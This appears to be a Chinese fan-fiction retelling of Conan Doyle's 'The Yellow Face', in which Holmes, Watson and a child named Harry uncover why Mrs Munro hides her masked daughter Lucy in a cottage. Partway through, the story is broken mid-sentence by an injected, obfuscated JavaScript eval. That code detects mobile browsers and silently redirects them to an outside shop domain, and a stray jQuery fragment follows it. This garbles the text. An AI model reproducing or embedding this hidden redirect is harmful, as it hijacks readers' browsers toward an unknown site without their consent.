第二天早晨，哈利交给我们一张画。
他把小屋画得很高，窗户很窄，窗边有一张圆脸。那张脸占去了大半扇窗，两只眼睛涂得很黑。旁边伸出一只戴手套的手，指尖向下弯着。
福尔摩斯将画放到桌上，仔细看了一会儿。
“你觉得脸有这么大？”
哈利望着自己的画。
“我不知道该画多大。”
“那么，这个大小不能算作你看见的部分。”
孩子的神情有些懊恼。
他伸手想把纸拿回去。
“我可以再画。”
福尔摩斯没有松手。
“用不着。我们把这一点记下来就行。”
他取过铅笔，在纸边写了一行小字：大小未能确认。
“还有哪里不确定？”
哈利指了指窗框。
“也许没这么窄。”
福尔摩斯又补上一行。
我看见孩子稍稍放松了。他继续指出几处自己记不清的地方，最后只剩那只手套，说是确实看清了。
我的朋友把纸夹进记事本。
“这就很有用了。”
哈利看着他收好，才问我们什么时候回来。
“尽可能赶上晚饭。”我说。
“你们会见到那个人吗？”
“我们希望能弄清楚他是否需要帮助。”
孩子点头，没有再要求同行。他那天要完成一篇抄写练习，哈德森太太还答应带他去买新的鞋带。
等我们走下楼梯时，我听见他在后面问：
“华生医生，如果是病了，你有带药吗？”
我拍了拍手里的诊疗包。
“带着。”
他这才放心地关上门。
***
诺伯里的早晨比前一天更冷。
草叶上挂着水珠，沿路的树梢被风吹得沙沙作响。我们先去了一趟海沃德医生家，随后由他指明方向，来到芒罗夫妇居住的房子。
那是一所很舒适的住宅，与草地另一端的小屋之间隔着一段不长的路。
芒罗先生亲自来开门。
他显然没有睡好，衣服倒比前一天整齐。领口扣得很紧，胡须也修过，仿佛他希望至少能使自己看起来仍然掌握着事情。
“埃菲知道你们要来。”他说。
“她愿意见我们？”我问。
“愿意。”
这个回答来得稍微慢了一点。
我们进门时，一位年轻妇人站在起居室窗边。她身材纤细，头发挽得很整齐，脸色却很苍白。
芒罗先生作了介绍。
她向我们点头，目光在我的诊疗包上停了一瞬。
“我丈夫告诉我，他昨天去找了你们。”
“是的，芒罗太太。”福尔摩斯说。
“我知道他很担心。”
“我想，您也一样。”
她没有回答，只请我们坐下。
桌上的茶已经准备好了。一只杯子旁边放着半块没有吃完的面包，切口已经有些发干。
芒罗先生始终没有坐稳。他一会儿站到妻子身后，一会儿又走向壁炉，每当她端起茶杯，他便停下来望着她。
福尔摩斯起初没有谈小屋。
他问她最近是否收到美国的消息，女儿身体如何，来英国的安排进行到哪一步。
芒罗太太的手指沿着杯柄缓慢移动。
“有些事情比我预想的困难。”
“涉及旅途？”
“也包括别的。”
“需要我们协助吗？”
她抬头看着他。
“如果需要，我会说。”
回答很轻，却十分清楚。
我的朋友点了点头。
芒罗先生终于忍不住开口。
“埃菲，那房子是你租的。”
“是。”
“你为什么不告诉我？”
“我想先把事情安排好。”
“什么事情？”
她看向丈夫。
他们对视了一会儿。
芒罗先生的声音慢慢低下去。
“我甚至不知道该从哪里开始问。”
我低头端起茶杯，暂时让他们之间有一点安静。
***
后来，芒罗先生带我们上楼。
他希望我们看看为孩子准备的房间。妻子没有跟来，仍然坐在起居室里。
那间房朝着花园，窗台擦得很干净，一张小床放在靠墙的位置，旁边是矮柜和桌子。窗帘是浅色的，还留着新折好的痕迹。
柜面上摆着一盒蜡笔。
“我不知道她喜欢什么。”芒罗先生说，“海沃德家的孩子有一盒这个，我就照着买了。”
他打开柜门。
里面挂着一件小外套。
“尺寸是埃菲给我的。”
福尔摩斯望着衣服，没有说话。
我走到窗边。从这里能够看见草地，也能够看见那座小屋的上层窗户。
“她如果已经来了，”芒罗先生说，“为什么不住在这里？”
他像是在问我们，又像是已经独自问过这句话许多次。
床边的地毯有一处卷起。我俯身将它抚平，想起哈利刚开始独自在房间里走动时，哈德森太太也曾这样一遍遍查看地面。
“我没有催过她。”芒罗先生继续说，“她说暂时不能接，我就等。她说孩子不熟悉这里，需要慢慢来，我也同意。”
福尔摩斯看向他。
“您的妻子知道这些。”
“当然知道。”
“那么，她所担心的事情，或许不在这些安排里。”
芒罗先生沉默了。
过了一会儿，他从口袋里拿出一个信封。
“昨天晚上，我看见了这个。”
福尔摩斯没有立即接。
“她给您看的？”
“放在桌上。我以为是普通的账单。”
那是一份关于行李运送的询价回信。
从诺伯里到南安普敦，预定在星期四，两个箱子。信中的称呼仍然是赫布伦太太。
芒罗先生将纸攥得有些皱。
“她是不是打算离开？”
“您问过吗？”
“她说，不一定会用上。”
“这句话是什么意思？”
“她不肯再解释。”
我向窗外望去。
小屋的帘子拉着。门前有一个女人走过，将什么东西提进屋里，随后关上门。
芒罗先生立即走到我身边。
“就是那个女人。”
他的手扶住窗框。
“她昨天对埃菲说，再拖下去没有好处。”
“您在哪里听见的？”福尔摩斯问。
“门外。我过去时，正好听见。”
“前后还有什么话？”
“我只听见这一句。随后她们看见我，都不再说了。”
福尔摩斯收回目光。
他没有接着追问，但我注意到，他将几个日期重新写到同一页纸上。
***
我们借着查看道路与房屋位置的机会，离开了芒罗家片刻。
沿着草地走向小屋时，福尔摩斯的步伐比平时慢。
他先看窗户，再看地面，最后停在一处能够同时望见两所住宅的位置。
“窗口比你昨天站的地方高出不少。”他说。
“是的。”
“一个坐着的人，和一个站在椅子上的孩子，从那里看去可能差不多。”
“我也想到这一点。”
“那副手套尤其值得注意。”
我看向小屋。
“你认为是露西？”
“这是目前相当合理的可能。”
“那么，她的母亲为什么要把她藏起来？”
福尔摩斯没有立即回答。
屋里传来一阵很轻的响声，像有人将一只杯子放得重了些。
随后，一个女人的声音响起。
“不，别到那里去。”
窗帘微微动了一下，又静下来。
我的朋友抬起头。
我不知道他是否也想起了某个熟悉的孩子——听见门外有人，便立即跑到窗边，或者为了看清楼下的马车，站上一只并不十分稳当的凳子。
他向前走了几步，敲响小屋的门。
昨天那位年长妇人来开门。
她看见我，认了出来。
“又是您。”
“早安。”我说，“这位是福尔摩斯先生。我们与芒罗夫妇相识。”
她的目光移向我的朋友。
“赫布伦太太知道你们过来吗？”
“我们刚见过她。”
“那不等于她请你们进屋。”
福尔摩斯站在门阶下，没有试图向前。
“屋里有人需要帮助吗？”
“我们需要一点清静。”
“有孩子生病？”
女人的脸绷紧了。
屋内传来一声咳嗽。
很轻，随后又有一声。
她握着门边的手没有松开。
“如果需要医生，”我说，“我可以看看。”
她看向我手里的包。
神情有一瞬间的迟疑。
“我会问她。”
“当然。”
门关上了。
福尔摩斯在原地站了一会儿，随后转身沿着短径走回去。
他没有碰门，也没有再敲一次。
***
回到路边，我问他目前怎么想。
“那位女士在限制屋里某个人的行动。芒罗太太付钱，使用旧姓，不愿让丈夫接近。星期四，她们准备转运行李，而她要求丈夫等到同一天。”
“这些事情也可能有另外的解释。”
“有。”
他答得很快，目光仍然停在窗上。
“但如果那孩子确实已经来到英国，芒罗太太却无法把她带到自己准备好的房间里，我首先会考虑，是否有别人掌握着让她为难的条件。”
“亲属之间的争执？”
“监护，钱，或者某个她不愿向丈夫说明的旧事。她以为自己能够解决，所以要求再等两天。”
我没有反对。
只是那间收拾好的儿童房，使我始终无法轻易接受任何一个解释。房间里的每件东西都表明，芒罗先生确实期待孩子到来。但期待本身，似乎仍然没有使他的妻子放心。
福尔摩斯收起记事本。
“我们需要再与她谈谈。”
***
芒罗太太独自坐在起居室里。
丈夫到屋外接一封信去了。她看见我们回来，立即站起身。
“你们去过那所房子？”
“去过门口。”福尔摩斯说。
“她让你们进去了？”
“没有。”
她慢慢坐下。
“谢谢。”
我一时不确定，她是在感谢那位女人，还是在感谢我们没有继续。
福尔摩斯把南安普敦的那封信放到桌上。
“您的丈夫认为，您可能打算离开。”
她望着信封。
“我知道。”
“您准备带谁走？”
她没有回答。
“芒罗太太，如果有人利用一个孩子使您——”
“没有人。”
她忽然抬头，打断了他。
声音并不大，却使我们同时停住。
“没有人逼我付钱，也没有人拿什么旧事威胁我。那所房子是我租的。那位女士是我请来的。行李的事情，也是我自己问的。”
福尔摩斯望着她。
“那么，您为什么如此害怕？”
她的手落在桌边。
指尖轻轻碰了一下杯碟，没有发出声音。
“我没有办法让您相信，我需要一点时间，是吗？”
这句话使我不由得坐直了一些。
我的朋友没有立刻回答。
就在这时，外面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971723|214669||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
传来敲门声。
是那位年长妇人。
她没有进起居室，只站在门边，对芒罗太太低声说了几句话。我听见她提到孩子咳嗽，随后又说，既然医生恰好在这里，也许不必再等。
芒罗太太转向我。
“医生，您能过去一趟吗？”
“当然。”
福尔摩斯站起来。
她立即看向他。
“我想先请医生。”
起居室里静下来。
“只是医生。”她又说了一遍。
我拿起诊疗包。
福尔摩斯看了看我，将刚拿起来的帽子放回椅边。
“华生。”
我停住。
“你回来的时候，我还在这里。”
我点头，随两位女士走出门。
***
小屋里面比我想象的暖和。
门厅里有湿衣服的气味，一双小靴子摆在墙边，鞋面擦得很干净。旁边放着两只箱子，其中一只扣着皮带，另一只敞开，里面是叠好的衣物。
我注意到，一件小裙子已经被取出来，搭在椅背上。
屋子并不像正在匆忙撤离。
更像有人始终没有决定，该把东西收起来，还是全部拿出来。
年长妇人带我上楼。
“我姓默里。”她说，“照看她很多年了。”
“咳嗽多久？”
“从海上就有一点。下船后好了些，这两天又开始了。”
她回答得具体，知道孩子什么时候容易咳，也知道夜里是否睡得安稳。
芒罗太太跟在后面，一只手始终扶着楼梯栏杆。
到了上层，默里太太先敲了一下门。
“露西，医生来了。”
屋里没有回答。
她推开门。
那张黄白色的脸，就在房间里。
但这一次，我看清了它下面的一切。
一个小女孩坐在靠窗的椅子上，身上穿着红色的裙子。她比哈利大不了多少，脚下垫着一只矮凳，膝上放着一本翻开的书。
双手戴着手套。
手套确实太大了，指尖软软地垂下来。
她的脸被一副面具遮着。
近看以后，那件东西显得十分笨拙。边缘没有完全贴合，鼻梁的位置略微偏高，两只眼孔后面，真正的眼睛正不安地看着我。
原来，使那张脸始终不肯改变表情的，并不是什么我从未见过的疾病。
只是一个做得不够好的面具。
女孩望了一眼母亲。
芒罗太太走到她身边，蹲下去。
“这位是华生医生。他来看看你的咳嗽。”
女孩点了一下头。
面具也随之动了动。
我在她面前坐下，没有立即打开诊疗包。
“露西，我需要先看看你，可以吗？”
她的手在膝上动了一下。
“看哪里？”
“脸，还有手。然后听一听你怎么呼吸。”
她望向母亲。
芒罗太太的嘴唇动了动。
过了一会儿，她说：
“可以摘下来。”
女孩没有自己动手。
母亲伸到她耳后，解开系带，轻轻取下面具。
面具下面是一张棕色的小脸，眼睛很大，头发细软地卷着。她的额头因为长时间遮盖有些潮，鼻梁上压出了一道浅印。
她抿着嘴，仍在看我。
我将面具放到旁边，打开诊疗包。
“现在，把手套也摘下来吧。”
她照办了。
手指很小，指甲剪得整齐。摘去手套以后，她先握了握拳，像是终于可以舒展，再把手放回膝上。
我问她几件与身体有关的事。
她能回答，也愿意回答，只是每说两三句，就会看向母亲。
芒罗太太坐到床边，两只手紧紧握在一起。
我检查时，她始终没有打断。
***
孩子的状况没有我起初担忧得那么严重。
她需要休息，需要继续观察，也需要比眼下更自然的呼吸和活动。我将注意事项告诉默里太太，又说明什么情况下应当立即找医生。
她认真记下了。
至于那副面具，我没有试图用医疗上的理由来解释全部问题。
它就放在我身边的桌上。
黄白色的脸朝上，看起来比戴在人脸上时更像一件廉价的东西。眼孔挖得不整齐，一侧的边缘经过修剪，露出里面灰色的纸层。
我拿起自己的手帕，递给露西，让她擦一擦额头。
她接过去，小声道谢。
窗外，芒罗家花园的一角清楚可见。
那扇属于儿童房的窗户正对着这里，浅色帘子在里面垂着，窗台上放了一盆小小的植物。
露西顺着我的目光看过去。
“那边是我的房间。”她说。
我转向她。
她指了指。
“妈妈说，那张桌子也是给我的。”
芒罗太太低下头。
“是的。”我说，“我刚才看见了。”
“蜡笔也在吗？”
“在柜子上。”
女孩的眼睛亮了一点。
她向前挪动，随后又记起什么似的，慢慢坐回去。
“我还没有进去过。”
房间里一时只能听见窗框被风轻轻吹动的声音。
我把诊疗包扣好。
露西看着桌上的面具，伸出手，将它往自己这边拉了一点。
“医生。”
“什么事？”
“我去那边的时候，还要戴着它吗？”
我没有立刻回答。
她又看了一眼那扇窗，随后很轻地补充：
“默里太太说，吃饭的时候总得摘下来。”
芒罗太太伸手去握她的手。
女孩没有躲开，只把脸转向母亲，等着一个她显然已经等了很久的答案。